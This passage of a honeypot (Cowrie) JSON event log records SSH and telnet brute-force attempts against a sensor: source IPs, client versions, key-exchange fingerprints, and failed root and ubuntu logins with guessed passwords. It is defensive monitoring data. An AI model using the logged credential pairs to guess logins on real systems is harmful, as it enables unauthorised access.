sh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:21.611430Z","src_ip":"103.173.227.57","session":"1e5d9657688f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":38196,"dst_ip":"159.203.135.109","dst_port":22,"session":"81a6d2c86c9c","protocol":"ssh","message":"New connection: 109.172.54.111:38196 (159.203.135.109:22) [session: 81a6d2c86c9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:21.707307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:21.712026Z","src_ip":"109.172.54.111","session":"81a6d2c86c9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:21.807262Z","src_ip":"109.172.54.111","session":"81a6d2c86c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"343434","message":"login attempt [root/343434] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:22.114697Z","src_ip":"109.172.54.111","session":"81a6d2c86c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ltdjxrf","message":"login attempt [root/ltdjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:22.333396Z","src_ip":"103.173.227.57","session":"1e5d9657688f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:23.214173Z","src_ip":"109.172.54.111","session":"81a6d2c86c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:23.576735Z","src_ip":"103.173.227.57","session":"1e5d9657688f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55414,"dst_ip":"159.203.135.109","dst_port":22,"session":"e276e248fa87","protocol":"ssh","message":"New connection: 80.94.92.184:55414 (159.203.135.109:22) [session: e276e248fa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:40.280392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:40.359433Z","src_ip":"80.94.92.184","session":"e276e248fa87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:40.596090Z","src_ip":"80.94.92.184","session":"e276e248fa87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:41.623919Z","src_ip":"80.94.92.184","session":"e276e248fa87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:42.814767Z","src_ip":"80.94.92.184","session":"e276e248fa87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":59588,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fd038b215fa","protocol":"ssh","message":"New connection: 185.236.22.41:59588 (159.203.135.109:22) [session: 9fd038b215fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:59.552395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:59.557075Z","src_ip":"185.236.22.41","session":"9fd038b215fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:25:59.673364Z","src_ip":"185.236.22.41","session":"9fd038b215fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soccer","message":"login attempt [root/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:00.046316Z","src_ip":"185.236.22.41","session":"9fd038b215fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:01.162642Z","src_ip":"185.236.22.41","session":"9fd038b215fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.163.227.223","src_port":37020,"dst_ip":"10.17.0.5","dst_port":22,"session":"534291fa3a7d","protocol":"ssh","message":"New connection: 95.163.227.223:37020 (10.17.0.5:22) [session: 534291fa3a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:14.081675Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.7","src_port":30896,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe683b9b980e","protocol":"ssh","message":"New connection: 176.65.132.7:30896 (159.203.135.109:22) [session: fe683b9b980e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:34.735793Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:34.741365Z","src_ip":"176.65.132.7","session":"fe683b9b980e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.7","src_port":30908,"dst_ip":"159.203.135.109","dst_port":22,"session":"78d3833d4641","protocol":"ssh","message":"New connection: 176.65.132.7:30908 (159.203.135.109:22) [session: 78d3833d4641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:35.951450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:35.971876Z","src_ip":"176.65.132.7","session":"78d3833d4641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:36.335297Z","src_ip":"176.65.132.7","session":"78d3833d4641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jaguar","message":"login attempt [root/jaguar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:37.808613Z","src_ip":"176.65.132.7","session":"78d3833d4641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:38.933717Z","src_ip":"176.65.132.7","session":"78d3833d4641","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":54184,"dst_ip":"159.203.135.109","dst_port":22,"session":"438fab547791","protocol":"ssh","message":"New connection: 103.98.149.87:54184 (159.203.135.109:22) [session: 438fab547791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:43.407117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:43.411792Z","src_ip":"103.98.149.87","session":"438fab547791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:43.639479Z","src_ip":"103.98.149.87","session":"438fab547791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741963","message":"login attempt [root/741963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:44.322194Z","src_ip":"103.98.149.87","session":"438fab547791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:45.552649Z","src_ip":"103.98.149.87","session":"438fab547791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":33514,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf443359eb7","protocol":"ssh","message":"New connection: 147.45.197.250:33514 (10.17.0.5:22) [session: 1bf443359eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:51.891244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:51.895441Z","src_ip":"147.45.197.250","session":"1bf443359eb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:51.988813Z","src_ip":"147.45.197.250","session":"1bf443359eb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kola81","message":"login attempt [root/kola81] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:52.270668Z","src_ip":"147.45.197.250","session":"1bf443359eb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:53.368748Z","src_ip":"147.45.197.250","session":"1bf443359eb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59752,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e2753eed4b2","protocol":"telnet","message":"New connection: 50.6.8.71:59752 (10.17.0.5:23) [session: 8e2753eed4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:26:54.482627Z"}
{"eventid":"cowrie.session.closed","duration":35.33864140510559,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:27:29.821157Z","src_ip":"50.6.8.71","session":"8e2753eed4b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38960,"dst_ip":"159.203.135.109","dst_port":22,"session":"314d8e26017a","protocol":"ssh","message":"New connection: 103.176.20.57:38960 (159.203.135.109:22) [session: 314d8e26017a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:27:58.287984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:27:58.291298Z","src_ip":"103.176.20.57","session":"314d8e26017a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:27:58.536893Z","src_ip":"103.176.20.57","session":"314d8e26017a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pppppp","message":"login attempt [root/pppppp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:27:59.290643Z","src_ip":"103.176.20.57","session":"314d8e26017a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:00.543694Z","src_ip":"103.176.20.57","session":"314d8e26017a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":29801,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdeb7afb6d92","protocol":"ssh","message":"New connection: 213.209.159.56:29801 (10.17.0.5:22) [session: bdeb7afb6d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:05.841732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:28:05.845857Z","src_ip":"213.209.159.56","session":"bdeb7afb6d92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-